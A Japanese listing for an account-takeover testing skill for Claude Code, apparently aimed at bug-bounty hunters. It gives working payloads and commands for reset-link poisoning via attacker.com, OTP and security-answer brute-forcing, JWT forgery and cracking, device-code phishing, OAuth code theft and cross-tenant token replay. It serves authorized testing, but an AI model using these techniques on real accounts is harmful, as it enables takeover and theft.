mcpField
H
hunt-ato

hunt-ato

github.com/uphiagoセキュリティ1.3k42 回インストール8 週間前に更新
リポジトリ

hunt-ato について

アカウント乗っ取りの経路を整理した Web セキュリティテスト用スキルです。リセットトークンの欠陥、JWT 操作、OAuth デバイスコードや PKCE の問題を扱い、疑わしい欠陥ではなく、管理下の別アカウントへの実アクセスを検証します。

主な機能

  1. 0111 種類のアカウント乗っ取り経路
  2. 02リセットトークンとメール変更の検査
  3. 03JWT とセッションの検証
  4. 04OAuth デバイスフローと PKCE のテスト
  5. 05証拠に基づく深刻度の判定

活用シーン

  1. 01パスワードリセットと復旧フローの評価
  2. 02JWT の欠陥による別アカウントへのアクセスを検査
  3. 03デバイス認可での MFA 適用を確認
  4. 04OAuth リダイレクトと PKCE の処理を検証

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/uphiago/recon-skills --skill hunt-ato

インストール後、Claude Code で/hunt-atoを入力して読み込まれたか確認します。

詳細

13. ATO — アカウント乗っ取りの分類

9 つの異なる経路があります。ATO は単一のバグではなく、到達先の分類です。以下の各経路は、攻撃者 A のセッション/IP/デバイスから、自分が管理していない 2 つ目のアカウント(テストアカウント B)の乗っ取りを実証した場合にのみ、Critical となるプリミティブです。自分のアカウントから締め出されるだけの経路や、被害者のパスワードとセッションをすでに持っている場合にのみ機能する経路は、単独の ATO ではありません。

Path 1: パスワードリセットのポイズニング(Host-Header)
POST /forgot-password HTTP/1.1
Host: attacker.com                 # primary Host swap
# OR keep real Host and add one of:
X-Forwarded-Host: attacker.com
X-Host: attacker.com
X-Forwarded-Server: attacker.com
# OR dual-Host smuggling:  Host: target.com\r\nHost: attacker.com

[email protected]

リセットメール送信機能がリクエストの Host ヘッダーからリンクを生成するため、リンクが attacker.com/reset?token=XXXX を指します。確認方法=OOB。レスポンスベースではありません。 ヘッダーに Burp Collaborator/一意の DNS 名を指定し、実際のメールを読みます(テストには、自分が所有する管理下の被害者 B の受信箱を使用してください)。Collaborator ホストに届いたメール本文にのみトークンが含まれていれば、これが証拠になります。 誤検知を排除するポイント: 多くのアプリはメール内に attacker.com を記載しますが、実際のリンクのドメインはサーバー側で固定されています。ヘッダーへの反映から推測せず、メールを読んでください。

Path 2: Referer 内のリセットトークン/オープンリダイレクトによる漏えい
GET /reset-password?token=ABC123
→ page loads third-party resource: <script src="https://analytics.com/t.js">
→ browser sends  Referer: https://target.com/reset-password?token=ABC123
→ token exfiltrated to every off-origin host the page calls

リセットページが、URL にトークンを含んだオープンリダイレクトへ 302 リダイレクトするケースもテストしてください。証拠: Network タブで外向きリクエストをキャプチャするか、オリジン外のホストを管理している場合は Collaborator でキャプチャし、Referer にトークン全体が含まれていることを示します。Referrer-Policy: no-referrer と POST ボディ内のトークンによって軽減できます。これらがないことを記録してください。

Path 3: 予測可能/脆弱なリセットトークン
# 6-digit numeric OTP-style reset code, no rate limit:
ffuf -u "https://target.com/api/reset/verify" -X POST \
  -H "Content-Type: application/json" \
  -d '{"email":"[email protected]","code":"FUZZ"}' \
  -w <(seq -w 000000 999999) -mc 200 -fr "invalid" -t 5
# time-based tokens: capture 5 tokens, diff — md5(timestamp)/sequential int = predictable

手順: 被害者 B のトークンを自分でリクエストし(B は自分が所有)、サンプルを取得してからエントロピーを確認し、続いて新たな総当たりで成功することを示します。/forgot-password のレート制限のみを指摘しても、通常は却下されます。影響はリクエストの大量送信ではなく、トークンの推測です。

Path 4: 有効期限なし/再利用可能/アカウントをまたいで使えるトークン
Expiry:  request token → wait 2h → still valid? = bug
Reuse:   use token once → use again → still valid? = bug
Multi:   request token#1, then token#2 → is token#1 still valid? (should be invalidated)
Cross:   does B's token reset A's password if you swap the userid/email param? = IDOR-in-reset
Path 5: 再認証なしのメールアドレス変更
PUT /api/user/email HTTP/1.1
Cookie: session=ATTACKER_A_SESSION
{"new_email":"[email protected]"}     # no current_password, no OTP, no email-confirm

現在のパスワード確認も旧アドレスへの確認リンクもなしに変更が反映される場合、パスワードリセットを実行します。リセットメールが攻撃者のメールボックスに届き、ATO が成立します。最も深刻な亜種では、新アドレスの確認すら不要です。典型的なパターンは、再認証がないためにアカウント連携/メールアドレス変更から ATO に至るものです。

Path 6: JWT の改ざん
# (a) alg:none — strip the signature, set header alg to none
python3 -c "import jwt; print(jwt.encode({'sub':'victimB','role':'admin'}, key='', algorithm='none'))"
# send: header {"alg":"none","typ":"JWT"}, payload {"sub":"victimB"}, empty signature
#
# (b) RS256 -> HS256 key confusion: re-sign with the server's PUBLIC key as the HMAC secret
curl --max-time 30 --connect-timeout 10 -s https://target.com/.well-known/jwks.json   # or /oauth/.well-known/...  grab the RSA pub key
# convert JWK -> PEM, then sign HS256 using that PEM bytes as the secret -> server verifies it
#
# (c) weak HMAC secret: crack offline
hashcat -a 0 -m 16500 token.jwt rockyou.txt   # -m 16500 = JWT
#
# (d) kid injection: kid=../../../dev/null (empty key) or kid=' UNION SELECT 'secret -- (SQL-backed kid)

この種の脆弱性を裏付ける既知の事例: CVE-2015-9235(node jsonwebtoken <4.2.2 — alg 混同/none バイパス)、CVE-2016-10555(jwt-simple RS256→HS256)。検証: 偽造したトークンが、被害者 B として特権エンドポイント(例:GET /api/admin または GET /api/users/B)に到達する必要があります。デコードや偽造だけでは影響の証明になりません。B の ID で認可された操作が行われることが必要です。サーバーが偽造された sub を無視してセッション Cookie を参照している場合、JWT は信頼境界ではないため、報告対象となる問題はありません。

Path 7: ステップアップ認証なしのパスワード変更+ログインオラクル
# (a) password-change endpoint accepts a new password with no current-password / no MFA challenge:
POST /api/account/password
Cookie: session=STOLEN_B_COOKIE        # from XSS, session-fixation, or token leak
{"new_password":"Pwned#2026"}          # no "current_password" field
#
# (b) login oracle to find a valid password without an existing cookie — measure response delta:
for p in $(cat candidates.txt); do
  t=$(curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w '%{time_total}' -d "user=victimB&pass=$p" https://target.com/login)
  printf '%s\t%s\n' "$t" "$p"
done | sort -n     # bcrypt-vs-fast-reject timing gap, or response-length diff, leaks valid pass

ステップアップ認証なしでパスワードを変更できるエンドポイントは、持続性を高める要因です。Cookie の窃取(一時的)とこれが組み合わさると、攻撃者は盗んだ Cookie から新しいパスワードを設定でき、あらゆるデバイス/IP から B を乗っ取れます。被害者はアカウントから締め出されます。誤検知の確認: 現在のパスワード/MFA による確認が本当にないことを確かめてください。多くの API はこのフィールドを任意として受け付ける一方、サーバー側では 403 を返します。フィールドなしで再送し、実際に状態が変化することを確認してください(クリーンなブラウザーから新しいパスワードでログインしてみてください)。

Path 8: ソーシャルリカバリー/秘密の質問の悪用
# Security answers are low-entropy and often unthrottled. Brute the recovery-answer endpoint:
ffuf -u "https://target.com/account/recover/answer" -X POST \
  -H "Content-Type: application/json" \
  -d '{"email":"[email protected]","question":"pet","answer":"FUZZ"}' \
  -w common-answers.txt -mc 200 -fr "incorrect" -t 5
# also test: answers returned/echoed in /api/me or recovery page source (client-side check)
# and: question itself reveals PII the answer to which is OSINT-able (mother maiden, first school)

offensive-osint と組み合わせてください。「秘密」の答え(出生地、ペット、学校など)の多くはソーシャルプロフィールで公開されているため、総当たりは不要です。検証: アカウント B でセッションを取得するまで、リカバリーフローを最初から最後まで完了してください。

パス 9:OAuth redirect_uri における SSO サブドメイン乗っ取り
# (a) enumerate accepted redirect_uri patterns — does the provider accept *.target.com subdomains?
GET /oauth/authorize?client_id=...&redirect_uri=https://anything.target.com/cb&response_type=code
# (b) find a dangling subdomain (CNAME -> deprovisioned Heroku/S3/Azure/GH-Pages) via hunt-subdomain:
dig +short staging.target.com    # CNAME -> nonexistent-app.herokuapp.com  (NXDOMAIN on the target)
# (c) claim that host on the cloud provider, serve a callback that logs the ?code=
# (d) send victim B the crafted authorize URL -> their code/token lands on your claimed subdomain

**確認 = OOB:**認証 code(または暗黙的な access_token)が、申告したホストに実際に届く必要があります。サーバー側で記録し、B のトークンと交換してください。オリジン外の値を単に反映するだけで、サーバー固定の交換処理を経由して code がリダイレクトされる redirect_uri は、悪用できません。エラーボディは部分文字列ではなく JSON としてデコードしてください。AADSTS50076/クレームチャレンジの応答には、クレームフィールド内に文字列 access_token が含まれていますが、これは使用可能なトークンではありません。

ATO の深刻度判定
  • クリティカル — 被害者の操作が不要、またはほとんど必要ないもの:Host ヘッダーを使ったリセットポイズニング、被害者のエンドポイントへの JWT 偽造、制約の緩い redirect_uri による認証コードの窃取、IDOR によるメールアドレス変更からのリセット。
  • 高 — メール内のリンクをクリックするか、既存のセッション/Cookie が必要なもの(Referer 漏えい、Cookie 窃取の後に追加認証なしでパスワードを変更)。
  • 中 — フィッシングとユーザーの積極的な操作が必要なもの(被害者がクリックし、ログイン済みである必要がある OAuth リンクの CSRF)。
  • 低 — 攻撃者が MitM である必要があるもの、または自分のアカウントにしか影響しないもの。

パス 10:OAuth デバイスコードフローの悪用(RFC 8628)

デバイス認可グラント(OAuth デバイスフロー)は、入力に制約のあるデバイス向けに設計されていますが、攻撃者はこれをフィッシング、MFA の回避、クロステナントのトークン窃取に悪用します。

フローの仕組み(悪用される場合):
  1. クライアントがデバイスコードをリクエストします:POST /oauth/devicecode に client_id と scope を指定
  2. サーバーが device_code、user_code、verification_uri、interval を返します
  3. 攻撃者が被害者を誘導し、verification_uri にアクセスして user_code を入力させます
  4. 被害者が認証し(デバイスフローでは MFA が省略されることがよくあります)、認可します
  5. 攻撃者が device_code を指定して POST /oauth/token をポーリングし、アクセストークン/リフレッシュトークンを受け取ります
攻撃ベクトル:

A. デバイスコードを使ったフィッシング(認証コード窃取による ATO)

# Step 1: Request a device code from the OAuth provider
curl --max-time 30 --connect-timeout 10 -X POST "https://target.com/oauth/devicecode" \
  -d "client_id=VICTIM_CLIENT_ID&scope=openid profile email offline_access"

# Response: {"device_code":"...","user_code":"ABCD-1234","verification_uri":"https://target.com/device","interval":5}

# Step 2: Craft phishing email: "Please verify your account at https://target.com/device
#          and enter code: ABCD-1234 to unlock your account"
# Step 3: Victim enters code on legitimate OAuth page → authenticates
# Step 4: Attacker polls for token:
curl --max-time 30 --connect-timeout 10 -X POST "https://target.com/oauth/token" \
  -d "client_id=VICTIM_CLIENT_ID&grant_type=urn:ietf:params:oauth:grant-type:device_code&device_code=THE_DEVICE_CODE"

# → Attacker receives victim's access_token + refresh_token → full ATO

B. デバイスフローによる MFA の回避 多くの OAuth プロバイダーは、「デバイスでは MFA を実行できない」という理由で、デバイス認可エンドポイントでは MFA を適用しません。認証コードフロー/暗黙的フローでは MFA が必要なのに、デバイスフローでは不要な場合:

# Compare: standard auth requires MFA
GET /oauth/authorize?response_type=code&client_id=xxx&redirect_uri=xxx
# → MFA challenge

# Device flow skips MFA entirely
POST /oauth/devicecode
# → No MFA, direct token grant
# Proof: if your account has MFA enabled but device flow produces tokens without MFA → finding

C. クロステナントのデバイスコード(Azure AD / Entra ID) Azure AD のデバイスコードはテナントに依存しません。user_code は、どのテナントの検証ページでも使用できます:

# Attacker requests device_code from Azure AD common endpoint (any tenant):
curl --max-time 30 --connect-timeout 10 -X POST "https://login.microsoftonline.com/common/oauth2/v2.0/devicecode" \
  -d "client_id=YOUR_CLIENT_ID&scope=user.read"

# Victim at ANOTHER organization enters the user_code
# If their tenant trusts the app → victim's token issued → cross-tenant ATO

D. 検出 — デバイスフローのエンドポイントを探す:

# Check OAuth authorization server metadata
curl --max-time 30 --connect-timeout 10 -s "https://target.com/.well-known/oauth-authorization-server" | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('device_authorization_endpoint','NOT SUPPORTED'))"

# Probe common device code endpoints
curl --max-time 30 --connect-timeout 10 -s -X POST "https://target.com/oauth/devicecode" -d "client_id=test&scope=openid" -w "\nHTTP %{http_code}"
curl --max-time 30 --connect-timeout 10 -s -X POST "https://login.microsoftonline.com/common/oauth2/v2.0/devicecode" -d "client_id=test&scope=user.read" -w "\nHTTP %{http_code}"

パス 11:PKCE 回避チェーン

PKCE(Proof Key for Code Exchange、RFC 7636)は、パブリッククライアントの認証コードフローを保護するために設計されています。多くの実装では、これを適切に強制できていません。

回避 1:PKCE の強制なし
# Send auth request WITHOUT code_challenge
GET /oauth/authorize?response_type=code&client_id=xxx&redirect_uri=https://app.com/cb

# Exchange code WITHOUT code_verifier
POST /oauth/token
grant_type=authorization_code
code=AUTH_CODE
redirect_uri=https://app.com/cb
# If accepted → PKCE not enforced → authorization code interception vulnerability
回避 2:code_challenge_method=plain(S256 にする必要があります)
# Auth request with plain challenge (SHA256 should be required)
GET /oauth/authorize?response_type=code&client_id=xxx&code_challenge_method=plain&code_challenge=ATTACKER_STATIC_VALUE

# Exchange with corresponding code_verifier
POST /oauth/token
grant_type=authorization_code
code=AUTH_CODE
code_verifier=ATTACKER_STATIC_VALUE
redirect_uri=https://app.com/cb
# If accepted → plain method exposes the PKCE challenge to MitM
回避 3:code_challenge は受け付けるが、code_verifier を検証しない
# Auth request WITH code_challenge=S256:<hash>
# Token exchange WITHOUT code_verifier or with wrong code_verifier:
POST /oauth/token
grant_type=authorization_code
code=AUTH_CODE
# no code_verifier field
# If token issued → PKCE is decorative, not enforced
回避 4:PKCE 交換後の認証コードの再利用

コードを期限切れにしても、同じ PKCE 検証子を 2 回受け付けるサーバーがあります:

# Exchange code once → success
# Exchange same code again with same code_verifier → if second exchange also works → code replay
PKCE 回避を検出する完全なスクリプト:
# Test PKCE enforcement with various combinations:
for cc in "" "code_challenge_method=S256&code_challenge=$(echo -n 'test' | openssl dgst -sha256 -binary | base64 | tr '+/' '-_' | tr -d '=')"; do
  for cv in "" "test" "wrong_value"; do
    echo "=== cc=[$cc] cv=[$cv] ==="
    # Step 1: get auth code
    code=$(curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{redirect_url}" \
      "https://target.com/oauth/authorize?response_type=code&client_id=xxx&redirect_uri=https://app.com/cb&state=x$cc" \
      | grep -Eo 'code=\K[^&]+')
    [[ -z "$code" ]] && echo "NO CODE" && continue
    # Step 2: exchange
    resp=$(curl --max-time 30 --connect-timeout 10 -s -X POST "https://target.com/oauth/token" \
      -d "grant_type=authorization_code&code=$code&redirect_uri=https://app.com/cb$([[ -n "$cv" ]] && echo "&code_verifier=$cv")")
    echo "$resp" | python3 -c "import sys,json; d=json.load(sys.stdin); print('TOKEN' if 'access_token' in d else d.get('error','unknown'))"
  done
done

パス 12:クロステナント ATO(Azure AD / Entra ID)

クロステナント攻撃は、Azure AD テナント間の信頼関係と、マルチテナント OAuth アプリを悪用します。

攻撃 1:prompt=none によるサイレント認証の悪用
# If an app allows multi-tenant authentication, prompt=none skips the login UI:
GET /oauth/authorize?response_type=code&client_id=xxx&redirect_uri=https://app.com/cb&prompt=none&[email protected]&domain_hint=organizations

# If the user has an existing session with the app → code issued silently
# If prompt=none is accepted by the authorization server but the user ISN'T logged in →
#   the server returns error=login_required instead of prompting, which still confirms the
#   user's existence (enumeration via OAuth)
攻撃 2:Tenant ID/domain_hint の操作
# Azure AD multi-tenant apps often validate tenant from the token, not the request
# Try swapping tenant IDs:
GET /victim-tenant.onmicrosoft.com/oauth/authorize?...
# vs:
GET /attacker-tenant.onmicrosoft.com/oauth/authorize?...
# If the app accepts tokens from BOTH tenants → cross-tenant token replay possible

# Test with curl:
curl --max-time 30 --connect-timeout 10 -v "https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=xxx&response_type=code&redirect_uri=https://app.com/cb&domain_hunt=organizations&state=test"
攻撃 3:クロステナントのトークンリプレイ
# 1. Register same app client_id in YOUR tenant
# 2. Authenticate as user in YOUR tenant → get access_token
# 3. Use that token against the VICTIM's tenant API
curl --max-time 30 --connect-timeout 10 -H "Authorization: Bearer *** https://victim-tenant.com/api/user/me
# If accepted → the app doesn't validate the "tid" (tenant ID) claim → cross-tenant ATO
検出 — クロステナントの脆弱性を探す:
# Check if app is multi-tenant by probing with unauthorized tenant credentials
# Get token from attacker tenant, then test against victim API:
TOKEN=$(curl --max-time 30 --connect-timeout 10 -s -X POST 'https://login.microsoftonline.com/attacker-tenant.onmicrosoft.com/oauth2/v2.0/token' -d 'client_id=xxx&scope=https://target.com/.default&grant_type=client_credentials&client_secret=xxx' | python3 -c 'import sys,json; print(json.load(sys.stdin).get("access_token",""))')
curl --max-time 30 --connect-timeout 10 -s -H "Authorization: Bearer $TOKEN" "https://target.com/api/user/me" -w "\nHTTP %{http_code}"

検証

ATO ハンティングの準備が整っていることを確認するため、次のセルフテストを実行します。

  1. パスワードリセットポイズニングテスト — Host ヘッダーのインジェクションプローブ構文を確認します:

    echo "Host: attacker.com" | grep -q "Host:" && echo "PASS: Host header syntax" || echo "FAIL"
    echo "X-Forwarded-Host:" | grep -q "X-Forwarded" && echo "PASS: header alias syntax" || echo "FAIL"
    
  2. JWT の操作 — Python3 の JWT ツールを確認します:

    python3 -c "
    import base64,json
    h=base64.urlsafe_b64encode(json.dumps({'alg':'HS256','typ':'JWT'}).encode()).rstrip(b'=').decode()
    print('PASS: JWT header generation works' if len(h)>10 else 'FAIL')
    " 2>/dev/null || echo "FAIL: Python3 unavailable"
    
  3. OAuth redirect_uri テスト — リダイレクト検出を確認します:

    echo "redirect_uri=https://evil.com/callback" | grep -q "redirect_uri" && echo "PASS: redirect_uri parameter recognized" || echo "FAIL"
    
  4. 2 アカウントテストの要件 — スキルに 2 つ目のアカウントに関するルールが記載されていることを確認します:

    grep -q "SECOND account\|test account B\|victim B" SKILL.md && echo "PASS: second-account requirement documented" || echo "FAIL"
    

4 つのテストすべてで、ATO ハンティングの手法が適切に文書化されていることを確認します。


落とし穴

  • Self-ATOはATOではありません — 自分のパスワードを変更する、自分のアカウントをリセットする、または自分自身をアカウントから締め出すことは、何の証明にもなりません。攻撃者Aのセッション/IPアドレスから、2つ目のテストアカウント(被害者B)を乗っ取ることを必ず実証してください。
  • メールで確認していないホストヘッダーインジェクション — テストレスポンスに反映されたヘッダー値が表示されても、パスワードリセットリンクが改ざんされた証明にはなりません。実際のメールを確認してください(Collaboratorドメインと、管理下にある被害者Bの受信箱を使用してください)。
  • 悪用を伴わない予測可能なトークン — パターン(連番、タイムスタンプベースなど)の発見は脆弱性の原型であり、ATOではありません。実際にトークンを予測し、アカウントを乗っ取ることを実証してください。
  • 有効期限のないトークンだけではCriticalではありません — 有効期限のないトークンは脆弱性の原型です。トークン漏えいにつながるベクター(Referer、オープンリダイレクト、ログ)と組み合わせてCriticalに到達させてください。
  • サブドメインテイクオーバーを伴わない、緩いOAuth redirect_uri照合 — redirect_uri=*.target.com が悪用可能なのは、管理下にあるサブドメインでホストできる場合に限られます。テイクオーバーがなければ、せいぜいLowです。
  • S256を使ったPKCEテストでplainへのフォールバックを確認していない — サーバーがplainのcode_challenge_methodを受け入れ、クライアントがS256を使用している場合、脆弱性があるのはplainの経路です。両方をテストしてください。
  • デバイスコードフローのポーリング間隔 — 間隔が5秒の場合、ブルートフォースは現実的ではありません。間隔が非常に短い(<1s)場合、またはコードの候補数が少ない場合にのみ悪用可能です。
  • トークン検証を伴わない、テナントをまたいだトークンの再利用 — APIがtid(テナントID)クレームを検証する場合、テナントをまたいだ再利用は失敗します。報告する前に、そのトークンが受け入れられることを確認してください。
  • チェーンを実証していないCookie窃取チェーン — 「攻撃者がCookieを盗んだ場合」は報告事項ではありません。窃取のベクター(XSS、トークン漏えい、MITM)を実証するか、実際にCookie漏えいにつながる脆弱性の原型と組み合わせてください。

関連スキルとチェーン

  • hunt-idor — メールを制御する必要も競合もない、最も信頼性の高い ATO のプリミティブです。チェーンのプリミティブ:攻撃者 A のセッション+被害者 B の UID+{"email":"[email protected]"} を使って PATCH /api/users/{victimB_uid} を実行 → パスワードリセットを開始 → リセットメールが攻撃者に届く → 完全な ATO、被害者の操作は一切不要(Path 5 + IDOR = Critical)。
  • hunt-mfa-bypass — Path 7 が Critical になるのは、MFA もバイパスする場合に限ります。チェーンのプリミティブ:パスワード変更エンドポイントが、現在のパスワードの確認も MFA の追加認証もなしで新しいパスワードを受け入れる → Cookie の窃取(XSS / トークン漏洩)+ ログインタイミングオラクル → 盗んだ Cookie から新しいパスワードを設定 → 任意の IP/デバイスから MFA なしで ATO。
  • hunt-oauth — Path 9 はここで扱います。チェーンのプリミティブ:redirect_uri の検証でサブドメインとの一致(*.target.com)が許可される + hunt-subdomain によって staging.target.com の放置された CNAME が見つかる → Heroku/S3 でそれを取得 → OAuth コールバックをホスト → 被害者が細工された認可 URL をクリック → 認可コードが攻撃者のサブドメインに届く → トークンと交換 → ATO。OAuth エラーのレスポンス本文は必ず JSON として解析し、access_token の部分文字列一致は決して使わないでください。
  • hunt-api-misconfig — Path 6(JWT)の詳細もここで扱います。alg:none、RS256→HS256 の鍵の混同(JWKS の公開鍵を HMAC シークレットとして使って署名)、kid のパストラバーサル/SQLi、弱いシークレットの解読(hashcat -m 16500)です。JWK→PEM 変換の仕組みを使うには、このスキルと一緒に読み込んでください。
  • hunt-host-header — Path 1 の標準的なプリミティブです。チェーンのプリミティブ:Host/X-Forwarded-Host: attacker.com を指定して POST /forgot-password を実行 → メーラーがリクエストの Host からリンクを生成 → リンクが attacker.com/reset?token=XXXX を指す → 被害者がクリック → トークンが漏洩 → ATO。反映されたヘッダーではなく、Collaborator がホストするドメインで実際のメールを受信して確認してください。
  • offensive-osint — Path 8 の効果を大きく高めます。セキュリティ質問の答え(出生地、ペット、最初に通った学校、母親の旧姓)の大半はソーシャルプロフィールから OSINT で特定できるため、ブルートフォースを一切行わずにアカウント B を復旧できます。
  • security-arsenal — パスワードリセットのバイパステーブル(X-Forwarded-Host、X-Host、X-HTTP-Host-Override、デュアル Host スマグリング)、トークンエントロピーのペイロード(連番の数値、時間ベースの予測可能な値)、JWT 攻撃テーブル、および「/forgot-password のレート制限」に関する報告で常に却下されるケースの一覧を参照してください。
  • triage-validation — 被害者がリンクをクリックし、認証情報を入力し、さらに CAPTCHA を通過する必要がある ATO を Critical と主張する前に、重大度判定ゲートを実施してください。再現性の確認手順(攻撃者 A のセッションからテストアカウント B を乗っ取るまでの、10 分間の新規ブラウザーでのウォークスルー)によって、Critical として有償で扱われるものと、Self-XSS レベルとして却下されるものを区別できます。

コメント